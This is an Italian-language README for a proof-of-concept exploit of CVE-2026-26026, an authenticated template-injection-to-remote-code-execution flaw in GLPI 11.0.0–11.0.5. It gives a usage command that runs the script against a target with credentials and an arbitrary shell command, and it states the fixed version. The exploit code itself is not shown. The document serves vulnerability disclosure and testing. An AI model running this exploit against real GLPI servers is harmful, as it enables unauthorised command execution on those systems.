CVE-2026-26026 — PoC SSTI nel menu a tendina dei form GLPI

Exploit SSTI autenticato → RCE per CVE-2026-26026 (GLPI 11.0.0–11.0.5).

Write-up completo: https://www.bzhunt.fr/blog/cve_glpi/

Utilizzo

python3 POC_GLPI_Form_Dropdown_SSTI.py https://target.com \
    -u glpi -p 'glpi' --cmd 'id'

Richiede un account con il diritto form CREATE (super-admin). Il target deve essere GLPI ≤ 11.0.5 (corretto in 11.0.6).

pip install requests